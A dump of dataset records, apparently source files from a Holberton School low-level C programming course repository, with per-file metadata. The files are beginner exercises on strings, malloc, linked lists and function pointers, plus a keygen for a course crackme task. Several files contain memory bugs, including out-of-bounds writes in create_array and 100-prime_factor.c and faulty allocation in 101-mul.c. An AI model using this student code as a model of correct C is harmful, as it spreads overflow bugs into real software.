const unsigned int n, ...)\n{\n\tva_list strs;\n\tunsigned int i;\n\tchar *tmp;\n\n\tif (n < 1)\n\t{\n\t\tprintf(\"\\n\");\n\t\treturn;\n\t}\n\tva_start(strs, n);\n\tfor (i = 0; i < n; i++)\n\t{\n\t\ttmp = va_arg(strs, char *);\n\t\tif (tmp)\n\t\t\tprintf(\"%s\", tmp);\n\t\telse\n\t\t\tprintf(\"(nil)\");\n\t\tif (i < n - 1 && separator != NULL)\n\t\t\tprintf(\"%s\", separator);\n\t\telse if (i == n - 1)\n\t\t\tprintf(\"\\n\");\n\t}\n\tva_end(strs);\n}\n" }, { "alpha_fraction": 0.4492379128932953, "alphanum_fraction": 0.4869542717933655, "avg_line_length": 16.515836715698242, "blob_id": "9a9642d047eb1e329f1ea060722e764775e5fcc4", "content_id": "ef8d46fb95535ed10a73903bd913f9e3c3cc6886", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3871, "license_type": "no_license", "max_line_length": 61, "num_lines": 221, "path": "/0x0C-more_malloc_free/101-mul.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdlib.h>\n\nvoid print_err(char *s);\nchar *multi(int *num1, int len1, int *num2, int len2);\nint _strlen(char *a);\nunsigned long _atoi(char *s);\nint *make_arr(char *s, int len);\n/**\n * main - multiplies two numbers\n * @argc: amount of arguments, including filename\n * @argv: argument vector\n * Return: Always 0 (ok)\n */\nint main(int argc, char *argv[])\n{\n\tint i, j, len1, len2;\n\tint *num1;\n\tint *num2;\n\tchar *res;\n\n\tif (argc != 3)\n\t{\n\t\tprint_err(\"Error\");\n\t\texit(98);\n\t}\n\tfor (i = 1; i < argc; i++)\n\t{\n\t\tfor (j = 0; argv[i][j]; j++)\n\t\t{\n\t\t\tif (argv[i][j] < '0' || argv[i][j] > '9')\n\t\t\t{\n\t\t\t\tprint_err(\"Error\");\n\t\t\t\texit(98);\n\t\t\t}\n\t\t}\n\t}\n\tif (_atoi(argv[1]) == 0 || _atoi(argv[2]) == 0)\n\t{\n\t\t_putchar('0');\n\t\t_putchar('\\n');\n\t\treturn (0);\n\t}\n\tlen1 = _strlen(argv[1]) - 1;\n\tlen2 = _strlen(argv[2]) - 1;\n\tnum1 = malloc(len1 * sizeof(int));\n\tnum2 = malloc(len2 * sizeof(int));\n\tif (num1 == NULL || num2 == NULL)\n\t\treturn (1);\n\tnum1 = make_arr(argv[1], len1);\n\tnum2 = make_arr(argv[2], len2);\n\tres = multi(num1, len1, num2, len2);\n\twhile (*res == '0')\n\t\tres++;\n\tfor (i = 0; res[i]; i++)\n\t\t_putchar(res[i]);\n\t_putchar('\\n');\n\tfree(num1);\n\tfree(num2);\n\treturn (0);\n}\n/**\n * _atoi - converts a string to an integer\n *@s: string to be converted\n * Return: the number after conversion, or 0\n */\nunsigned long _atoi(char *s)\n{\n\tint i = 0, j, n1, n2, neg = 1, flag = 0;\n\tint sum = 0;\n\n\twhile (s[i] != '\\0')\n\t\ti++;\n\tfor (j = 0, n1 = 0, n2 = 0; j <= i; j++)\n\t{\n\t\tif (s[j] == '-')\n\t\t{\n\t\t\tneg *= -1;\n\t\t\tcontinue;\n\t\t}\n\t\telse if (s[j] == '+')\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\telse if ((s[j] >= '0') && (s[j] <= '9'))\n\t\t{\n\t\t\tif (n1 > n2)\n\t\t\t{\n\t\t\t\tsum *= 10;\n\t\t\t\tn2 = n1;\n\t\t\t}\n\t\t\tsum += s[j] - '0';\n\t\t\tflag = 1;\n\t\t\tn1++;\n\t\t}\n\t\telse if (s[j] == ' ')\n\t\t\tcontinue;\n\t\telse if ((flag == 1) && (!(s[j] >= '0') || !(s[j] <= '9')))\n\t\t\tbreak;\n\t}\n\treturn (sum * neg);\n}\n/**\n * _strlen - finds the length of a string\n * @a: input string\n *\n * Return: length of string a\n */\nint _strlen(char *a)\n{\n\tint i = 0;\n\n\twhile (a[i])\n\t\ti++;\n\treturn (i);\n}\n/**\n * make_arr - makes an integer array from a string of ints\n * @s: character string\n * @len: length of the string\n *\n * Return: integer array of the string\n */\nint *make_arr(char *s, int len)\n{\n\tint *res;\n\n\tres = malloc(len * sizeof(int));\n\tfor (; s[len]; len--)\n\t{\n\t\tres[len] = (s[len] - '0');\n\t}\n\treturn (res);\n}\n/**\n * multi - multiplies two integer arrays\n * @num1: number 1\n * @num2: number 2\n * @len1: length of array num1\n * @len2: length of array num2\n *\n * Return: string of their multiplication\n */\nchar *multi(int *num1, int len1, int *num2, int len2)\n{\n\tchar *mul;\n\tchar *c;\n\tchar *tmp;\n\tint i, j, k = 0, x = 0, y;\n\tlong int r = 0;\n\tunsigned long sum = 0;\n\n\tmul = malloc((len1 + len2 + 2) * sizeof(char *));\n\tc = malloc((len1 + len2 + 2) * sizeof(char *));\n\ttmp = malloc((len1 * len2 + 2) * sizeof(char *));\n\tif (mul == NULL || c == NULL || tmp == NULL)\n \t{\n \tif (mul)\n\t\t\tfree(mul);\n\t\tif (c)\n \t\tfree(c);\n \tif (tmp)\n \t\tfree(tmp);\n \treturn (NULL);\n\t}\n\tfor (i = len2; i >= 0; i--)\n\t{\n\t\tr = 0;\n\t\tfor (j = len1; j >= 0; j--, k++)\n\t\t{\n\t\t\ttmp[k] = (num2[i] * num1[j] + r) % 10;\n\t\t\tr = (num2[i] * num1[j] + r) / 10;\n\t\t}\n\t\ttmp[k++] = r;\n\t\tx++;\n\t\tfor (y = 0; y < x; y++, k++)\n\t\t{\n\t\t\ttmp[k] = 0;\n\t\t}\n\t}\n\tk = 0;\n\tr = 0;\n\tfor (i = 0; i < len1 + len2 + 2; i++)\n\t{\n\t\tsum = 0;\n\t\ty = 0;\n\t\tfor (j = 1; j <= len2 + 1; j++)\n\t\t{\n\t\t\tif (i <= len1 + j)\n\t\t\t\tsum += tmp[y + i];\n\t\t\ty += j + len1 + 1;\n\t\t}\n\t\tc[k++] = (sum + r) % 10;\n\t\tr = (sum + r) / 10;\n\t}\n\tc[k] = r;\n\tj = 0;\n\tfor (i = k - 1; i >= 0; i--)\n\t{\n\t\tmul[j++] = c[i] + '0';\n\t}\n\tmul[j] = '\\0';\n\tfree(c);\n\tfree(tmp);\n\treturn (mul);\n}\n/**\n * print_err - prints \"Error\" followed by a newline\n * @s: Error message to print\n * Return: void\n */\nvoid print_err(char *s)\n{\n\tint i;\n\n\tfor (i = 0; s[i]; i++)\n\t{\n\t\t_putchar(s[i]);\n\t}\n\t_putchar('\\n');\n}\n" }, { "alpha_fraction": 0.5891088843345642, "alphanum_fraction": 0.5891088843345642, "avg_line_length": 15.15999984741211, "blob_id": "f005d67b74297c7c2a110be63f91093245241a05", "content_id": "f05cfa94fc2f25e0dd562acd18a6eece482533ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 404, "license_type": "no_license", "max_line_length": 44, "num_lines": 25, "path": "/0x13-more_singly_linked_lists/100-reverse_listint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n#include <stdio.h>\n\n/**\n * reverse_listint - reverses a listint list\n * @head: list to reverse\n *\n * Return: Pointer to new first node\n */\nlistint_t *reverse_listint(listint_t **head)\n{\n\tlistint_t *tmp, *rev = NULL;\n\n\tif (head == NULL)\n\t\treturn (NULL);\n\twhile (*head)\n\t{\n\t\ttmp = (*head)->next;\n\t\t(*head)->next = rev;\n\t\trev = *head;\n\t\t*head = tmp;\n\t}\n\t(*head) = rev;\n\treturn (*head);\n}\n" }, { "alpha_fraction": 0.37082067131996155, "alphanum_fraction": 0.4346504509449005, "avg_line_length": 17.27777862548828, "blob_id": "b71758fdc546b65bcd4a6e247f74a61f5948495f", "content_id": "897bbb589354b2eb91d0b3596ad7ef5fe0566bb0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 329, "license_type": "no_license", "max_line_length": 33, "num_lines": 18, "path": "/0x17-doubly_linked_lists/testfiles/102-sol_gen.py", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef is_palindrome(a):\n b = str(a)[::-1]\n if str(a) == str(b):\n return (1)\n else:\n return (0)\n\n\nd = 0\ne = 0\nfor i in range(999, 100, -1):\n for j in range(999, 100, -1):\n c = i * j\n d = is_palindrome(c)\n if d == 1 and c > e:\n e = c\nprint(\"{}\".format(e))\n" }, { "alpha_fraction": 0.7347266674041748, "alphanum_fraction": 0.7508038878440857, "avg_line_length": 33.61111068725586, "blob_id": "8bf141b7fc3f69b3f57db53aa29291bbabf2bb0f", "content_id": "b2be5235a233ce73a960bc7bc29416b9b469e917", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 622, "license_type": "no_license", "max_line_length": 87, "num_lines": 18, "path": "/0x10-variadic_functions/README.md", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "# 0x10: C - Variadic Functions\n\n## About / synopsis\nAn introduction to functions using a variable number of arguments.\n\n## Built With\n\n* [c] - Betty style formatting\n\n### Project contents\n\n| Project Title | Short Description |\n| --- | --- |\n|0-sum_them_all|Function takes a variable number of ints and returns the sum|\n|1-print_numbers|Prints only numbers received as input, followed by newline|\n|2-print_strings|Prints all character inputs as a single string, followed by a newline|\n|3-print_all|Prints everything sent to it using provided data types|\n|100-hello_holberton|Prints \"Hello, Holberton\\n\" using assembly code|" }, { "alpha_fraction": 0.5301204919815063, "alphanum_fraction": 0.5361445546150208, "avg_line_length": 16.473684310913086, "blob_id": "3e1ad9003e41f86c3e1cd7a5964b161219fbd58e", "content_id": "1017bdd5a40eb65da4e29eac5aa96dd6d56fb4d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 332, "license_type": "no_license", "max_line_length": 65, "num_lines": 19, "path": "/0x06-pointers_arrays_strings/5-string_toupper.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n\n/**\n * string_toupper - replaces all lowercase letters with uppercase\n *@s: string to replace lowercase from\n * Return: char string\n */\nchar *string_toupper(char *s)\n{\n\tint i = 0, n;\n\n\twhile (s[i])\n\t\ti++;\n\tfor (n = 0; n < i; n++)\n\t\tif ((s[n] >= 'a') && (s[n] <= 'z'))\n\t\t\ts[n] -= ('a' - 'A');\n\treturn (s);\n}\n" }, { "alpha_fraction": 0.6191369891166687, "alphanum_fraction": 0.6210131049156189, "avg_line_length": 21.20833396911621, "blob_id": "b90f7109235740cd7445058da47a13a97befe4fe", "content_id": "53cd70ff0a2307f53862959a420bcb5d06e3cd0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 533, "license_type": "no_license", "max_line_length": 75, "num_lines": 24, "path": "/0x17-doubly_linked_lists/5-get_dnodeint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * get_dnodeint_at_index - returns the nth node of a dlistint_t linked list\n * @head: a dlistint_t linked list.\n * @index: the node to return\n *\n * Return: the node at index [index]\n */\ndlistint_t *get_dnodeint_at_index(dlistint_t *head, unsigned int index)\n{\n\tunsigned int i = 0;\n\n\tif (!head)/*Null check*/\n\t\treturn (NULL);\n\tif (!(head->prev))/*make sure we're actually at the head*/\n\t{\n\t\tfor (; head->prev; head = head->prev)\n\t\t\t;\n\t}\n\tfor (; i < index && head; i++, head = head->next)\n\t\t;\n\treturn (head);\n}\n" }, { "alpha_fraction": 0.5304877758026123, "alphanum_fraction": 0.5594512224197388, "avg_line_length": 18.294116973876953, "blob_id": "6f3d27281945fe62d750b2bf541b0b1a8af00c24", "content_id": "ffa5015bdddfe98f24364a78c5ecef97d24015bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 656, "license_type": "no_license", "max_line_length": 60, "num_lines": 34, "path": "/0x0F-function_pointers/3-main.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include \"3-calc.h\"\n#include <string.h>\n\n/**\n * main - calls the calc function using sent in arguments\n * @argc: argument count\n * @argv: argument vector\n * Return: 0 or 1, on success or failure respectively\n */\nint main(int argc, char *argv[])\n{\n\tint (*op)(int, int) = get_op_func(argv[2]);\n\n\tif (argc != 4 || argv == NULL)\n\t{\n\t\tprintf(\"Error\\n\");\n\t\texit(98);\n\t}\n\tif (op == NULL)\n\t{\n\t\tprintf(\"Error\\n\");\n\t\texit(99);\n\t}\n\tif ((!(strcmp(argv[2], \"%\")) || !(strcmp(argv[2], \"/\"))) &&\n\t (atoi(argv[3]) == 0))\n\t{\n\t\tprintf(\"Error\\n\");\n\t\texit(100);\n\t}\n\tprintf(\"%d\\n\", (*op)(atoi(argv[1]), atoi(argv[3])));\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5424657464027405, "alphanum_fraction": 0.5643835663795471, "avg_line_length": 14.208333015441895, "blob_id": "508eabf47ee8611aa37d1d9ffa6636c34e748155", "content_id": "3dc33c9a4fd9bd61df4a5576891c04539ba485a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 365, "license_type": "no_license", "max_line_length": 79, "num_lines": 24, "path": "/0x01-variables_if_else_while/3-print_alphabets.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - Uses only the single allowed function as output to print the alphabet\n * in lowercase, followed by uppercase.\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint ch = 'a';\n\tint ch2 = 'A';\n\n\tdo {\n\t\tputchar(ch);\n\t\tch++;\n\t} while (ch < 'z' + 1);\n\n\tdo {\n\t\tputchar(ch2);\n\t\tch2++;\n\t} while (ch2 < 'Z' + 1);\n\tputchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5058479309082031, "alphanum_fraction": 0.5365496873855591, "avg_line_length": 16.538461685180664, "blob_id": "fa80a7f760ea1c350f6928e9d14ddf9b9d20d06a", "content_id": "1971121ab905d37babfa1719640627b75e6398c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 684, "license_type": "no_license", "max_line_length": 59, "num_lines": 39, "path": "/0x0C-more_malloc_free/1-string_nconcat.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n#include \"holberton.h\"\n\n/**\n * string_nconcat - concatenates two strings, up to n bytes\n * @s1: string 1\n * @s2: string 2\n * @n: number of bytes to concatenate\n *\n * Return: Pointer to allocated space, or NULL\n */\nchar *string_nconcat(char *s1, char *s2, unsigned int n)\n{\n\tunsigned int i, len;\n\tchar *cat;\n\n\tif (s1 == NULL)\n\t\ts1 = \"\";\n\tfor (len = 0; s1[len]; len++)\n\t\t;\n\tif (s2 == NULL)\n\t\ts2 = \"\";\n\tcat = malloc((n + len + 1) * sizeof(char));\n\tif (cat == NULL)\n\t\treturn (NULL);\n\tfor (i = 0; s1[i]; i++)\n\t{\n\t\tcat[i] = s1[i];\n\t}\n\tfor (len = 0; len < n; i++, len++)\n\t{\n\t\tif (s2[len])\n\t\t\tcat[i] = s2[len];\n\t\telse\n\t\t\tcat[i] = '\\0';\n\t}\n\tcat[i] = '\\0';\n\treturn (cat);\n}\n" }, { "alpha_fraction": 0.37590712308883667, "alphanum_fraction": 0.41654571890830994, "avg_line_length": 15.023255348205566, "blob_id": "7fd8f16a04b9e4662d84f4411e83c20e28f6cf05", "content_id": "d122949c30041a9b8e57e689062c6231695c8808", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 689, "license_type": "no_license", "max_line_length": 61, "num_lines": 43, "path": "/0x18-dynamic_libraries/testfiles/100-atoi.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * _atoi - converts a string to an integer\n *@s: string to be converted\n * Return: the number after conversion, or 0\n */\nint _atoi(char *s)\n{\n\tint i = 0, j, n1, n2, neg = 1, flag = 0;\n\tunsigned int sum = 0;\n\n\twhile (s[i] != '\\0')\n\t\ti++;\n\tfor (j = 0, n1 = 0, n2 = 0; j <= i; j++)\n\t{\n\t\tif (s[j] == '-')\n\t\t{\n\t\t\tneg *= -1;\n\t\t\tcontinue;\n\t\t}\n\t\telse if (s[j] == '+')\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\telse if ((s[j] >= '0') && (s[j] <= '9'))\n\t\t{\n\t\t\tif (n1 > n2)\n\t\t\t{\n\t\t\t\tsum *= 10;\n\t\t\t\tn2 = n1;\n\t\t\t}\n\t\t\tsum += s[j] - '0';\n\t\t\tflag = 1;\n\t\t\tn1++;\n\t\t}\n\t\telse if (s[j] == ' ')\n\t\t\tcontinue;\n\t\telse if ((flag == 1) && (!(s[j] >= '0') || !(s[j] <= '9')))\n\t\t\tbreak;\n\t}\n\treturn (sum * neg);\n}\n" }, { "alpha_fraction": 0.5165048837661743, "alphanum_fraction": 0.5417475700378418, "avg_line_length": 18.80769157409668, "blob_id": "5afae7ca565ba00eb335b2ef1037fc25f4c69c59", "content_id": "cc8dbb7d370ff94b70e207e90ee6b2975f5bdd76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 515, "license_type": "no_license", "max_line_length": 48, "num_lines": 26, "path": "/0x0A-argc_argv/4-add.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include \"holberton.h\"\n/**\n * main - adds numbers sent through argv\n * @argc: number of arguments\n * @argv: array of arguments\n * Return: 0 if successful, 1 if theres an error\n */\nint main(int argc, char *argv[])\n{\n\tint i = 0, sum = 0, j = 1;\n\n\tfor (j = 1; j < argc; j++)\n\t{\n\t\tfor (i = 0; argv[j][i]; i++)\n\t\t\tif (argv[j][i] > '9' || argv[j][i] < '0')\n\t\t\t{\n\t\t\t\tprintf(\"Error\\n\");\n\t\t\t\treturn (1);\n\t\t\t}\n\t\tsum += strtol(argv[j], NULL, 10);\n\t}\n\tprintf(\"%d\\n\", sum);\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.7412513494491577, "alphanum_fraction": 0.7571579813957214, "avg_line_length": 43.9523811340332, "blob_id": "70c8ac02c218c830c9f7d5c2d53d7293c98c867a", "content_id": "81ecd6d9e1804faaf671e41779467daf20816c59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 943, "license_type": "no_license", "max_line_length": 114, "num_lines": 21, "path": "/0x0F-function_pointers/README.md", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "# 0X0F Function Pointers\n\n## About / synopsis\nIntroduction in using pointers to functions.\n\n## Built With\n\n* [c] - Betty style formatting\n\n### Project contents\n\n| Project Title | Short Description |\n| --- | --- |\n|0-print_name|Prints a name using a function pointed to as an input|\n|1-array_iterator|iterates through an array, performing an action indicated by a function pointer on each element|\n|2-int_index|Searches for an integer in an array using search method indicated by a function pointer|\n|3-main.c|Contains main function only. Uses get_op_func to create a pointer to the correct function|\n|3-op_functions|Contains functions for the following operators: +. -, *, /, %|\n|3-get_op_func|Determines which operation to perform based on argv[2]. Returns pointer to correct function|\n|3-calc.h|Contains prototypes for all 3* functions. Contains initialization of op_t struct|\n|100-main_opcodes|prints argv[1] bytes of the opcodes from main|" }, { "alpha_fraction": 0.5263158082962036, "alphanum_fraction": 0.5757575631141663, "avg_line_length": 16.91428565979004, "blob_id": "c36164874ece033a968fa5a38e844e545c7c1ac4", "content_id": "9b094c624dec69dddf020ebf83ec8932fb088218", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 627, "license_type": "no_license", "max_line_length": 65, "num_lines": 35, "path": "/0x04-more_functions_nested_loops/100-prime_factor.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - prints the largest prime factor of given number\n *\n * Return: Always 0\n */\nint main(void)\n{\n\tunsigned long num = 612852475143, largest;\n\tunsigned long factors[2];\n\tunsigned int prime = 2;\n\tint i = 0;\n\n\twhile (i <= 2)\n\t{\n\t\tif (num % prime == 0)\n\t\t{\n\t\t\tfactors[i++] = prime;\n\t\t\tnum = num / prime;\n\t\t\tif (i > 2)\n\t\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t\tprime++;\n\t}\n\tif ((factors[0] > factors[1]) && (factors[0] > factors[2]))\n\t\tlargest = factors[0];\n\telse if ((factors[1] > factors[2]) && (factors[1] > factors[0]))\n\t\tlargest = factors[1];\n\telse\n\t\tlargest = factors[2];\n\tprintf(\"%lu\\n\", largest);\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5306122303009033, "alphanum_fraction": 0.5884353518486023, "avg_line_length": 14.891891479492188, "blob_id": "f5246bc7b24d8ab3ffc0cdee90873fc34fc70a60", "content_id": "e50a9dafe52bc8637592f8bee219715bf56c937d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 588, "license_type": "no_license", "max_line_length": 84, "num_lines": 37, "path": "/0x05-pointers_arrays_strings/101-keygen.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n#include <time.h>\n\n/**\n * main - generates random valid passwords\n *\n * Return: Generated password\n */\nint main(void)\n{\n\tint i, sum = 0, num;\n\tchar chars[100] = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n\tchar pass[200];\n\tchar gap;\n\n\tsrand(time(0));\n\n\tfor (i = 0; sum < (2772 - 'z');)\n\t{\n\t\tnum = rand() % 62;\n\t\tif (sum + chars[num] >= 2772)\n\t\t\tcontinue;\n\t\telse\n\t\t{\n\t\t\tpass[i] = chars[num];\n\t\t\tsum += pass[i];\n\t\t\ti++;\n\t\t}\n\t}\n\tgap = 2772 - sum;\n\tpass[i] = gap;\n\tsum += gap;\n\tprintf(\"%s\", pass);\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.4988662004470825, "alphanum_fraction": 0.5283446907997131, "avg_line_length": 17.375, "blob_id": "ce421271f3bc2e2d7b2877fea2322bfc0f39ea9a", "content_id": "d0bb376b2449239b3772794481a805d7fc390f39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 441, "license_type": "no_license", "max_line_length": 55, "num_lines": 24, "path": "/0x07-pointers_arrays_strings/8-print_diagsums.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdio.h>\n\n/**\n * print_diagsums - prints the sum of the two diagonals\n * @a: source array of arrays\n * @size: size of arrays\n * Return: void\n */\nvoid print_diagsums(int *a, int size)\n{\n\tint i, j, sum1, sum2;\n\n\ti = j = sum1 = sum2 = 0;\n\tfor (; i < size; i++)\n\t{\n\t\tsum1 += a[i * (1 + size)];\n\t}\n\tfor (j = size - 1, i = 0; j >= 0; j--, i++)\n\t{\n\t\tsum2 += a[j + (size * i)];\n\t}\n\tprintf(\"%d, %d\\n\", sum1, sum2);\n}\n" }, { "alpha_fraction": 0.4264705777168274, "alphanum_fraction": 0.4901960790157318, "avg_line_length": 18.428571701049805, "blob_id": "daf1c92ff527f34bc7e658dc1cc7d39e39bf7efa", "content_id": "879c83c0955f1de45ac46e22554400feb3aa9dd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 816, "license_type": "no_license", "max_line_length": 76, "num_lines": 42, "path": "/0x01-variables_if_else_while/101-print_comb4.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - Prints all possible combinations of three digits.\n * All three digits must be different and must not have shown in combination\n * before.\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint num1 = 0;\n\tint num2 = 0;\n\tint num3 = 0;\n\tint minnum = 1;\n\tint minmod = 0;\n\n\tfor (num1 = 0; num1 < 10; num1++, minmod++)\n\t{\n\t\tminnum = (1 + minmod);\n\t\tfor (num2 = (1 + minmod); num2 < 10; num2++, minnum++)\n\t\t{\n\t\t\tfor (num3 = minnum; num3 < 10; num3++)\n\t\t\t{\n\t\t\t\tif ((num1 != num3) && (num2 != num3)\n\t\t\t\t && (num1 != num2))\n\t\t\t\t{\n\t\t\t\t\tputchar((num1 % 10) + '0');\n\t\t\t\t\tputchar((num2 % 10) + '0');\n\t\t\t\t\tputchar((num3 % 10) + '0');\n\t\t\t\t\tif ((num1 != 7) ||\n\t\t\t\t\t (num2 != 8) || (num3 != 9))\n\t\t\t\t\t{\n\t\t\t\t\t\tputchar(',');\n\t\t\t\t\t\tputchar(' ');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tputchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5330073237419128, "alphanum_fraction": 0.5599021911621094, "avg_line_length": 15.359999656677246, "blob_id": "9ef191985e13d42c7d0d54363762a4699e6c7c84", "content_id": "7b45ca58b2e57fead43e8c8893e8d69181e7bf4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 409, "license_type": "no_license", "max_line_length": 70, "num_lines": 25, "path": "/0x02-functions_nested_loops/102-fibonacci.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - prints the first 50 fibonacci numbers, starting with 1 and 2\n *\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tunsigned long crnt = 2;\n\tunsigned long lst = 1;\n\tint i;\n\tunsigned long tmp;\n\n\tprintf(\"%lu, %lu, \", lst, crnt);\n\tfor (i = 0; i <= 46; i++)\n\t{\n\t\ttmp = crnt + lst;\n\t\tlst = crnt;\n\t\tcrnt = tmp;\n\t\tprintf(\"%lu, \", crnt);\n\t}\n\tprintf(\"%lu\\n\", (crnt + lst));\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5842105150222778, "alphanum_fraction": 0.6263157725334167, "avg_line_length": 14.833333015441895, "blob_id": "d228fa84f5cc8cfdfde8134eafd84c20d9b1c845", "content_id": "d21600d73b7b27d3429ac5be8997e079734e1958", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 190, "license_type": "no_license", "max_line_length": 66, "num_lines": 12, "path": "/0x05-pointers_arrays_strings/0-reset_to_98.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * reset_to_98 - resets the variable pointed to by pointer n to 98\n *@n: variable pointer to an int\n *\n * Return: Void\n */\nvoid reset_to_98(int *n)\n{\n\t*n = 98;\n}\n" }, { "alpha_fraction": 0.5504201650619507, "alphanum_fraction": 0.5630252361297607, "avg_line_length": 13, "blob_id": "eee243371f63acf1dfb0e8f9485d833580346f1a", "content_id": "21bcf3e6e8abeb09d9a8d3b5ee3ec7f024fb1cfd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 238, "license_type": "no_license", "max_line_length": 68, "num_lines": 17, "path": "/0x01-variables_if_else_while/2-print_alphabet.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - prints the entirety of the alphabet, followed by a newline\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint ch = 'a';\n\n\tdo {\n\tputchar(ch);\n\tch++;\n\t} while (ch < 'z' + 1);\n\tputchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5976095795631409, "alphanum_fraction": 0.6035856604576111, "avg_line_length": 18.30769157409668, "blob_id": "dc5ddda16f82e31706189e40f9125959749889de", "content_id": "f61a50e1f35a12ecf8513fd3d12435c10f37554e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 502, "license_type": "no_license", "max_line_length": 73, "num_lines": 26, "path": "/0x0B-malloc_free/0-create_array.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n#include \"holberton.h\"\n\n/**\n * create_array - creates an array of characters, initialized with char c\n * @size: size of the array\n * @c: character to fill array with\n * Return: pointer to the array, or NULL\n */\nchar *create_array(unsigned int size, char c)\n{\n\tchar *arr;\n\tunsigned int i;\n\n\tif (size <= 0)\n\t\treturn (NULL);\n\tarr = malloc(size * sizeof(char));\n\tif (arr == NULL)\n\t\treturn (NULL);\n\tfor (i = 0; i < size; i++)\n\t{\n\t\t*(arr + i) = c;\n\t}\n\t*(arr + i) = '\\0';\n\treturn (arr);\n}\n" }, { "alpha_fraction": 0.5884244441986084, "alphanum_fraction": 0.5916398763656616, "avg_line_length": 15.368420600891113, "blob_id": "7b4aa33116e6ccffac19d95e544cfc00ae159ebe", "content_id": "59637c107d6100cbd508f0be20d7bcfbb1d67e93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 311, "license_type": "no_license", "max_line_length": 61, "num_lines": 19, "path": "/0x13-more_singly_linked_lists/8-sum_listint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * sum_listint - finds the sum 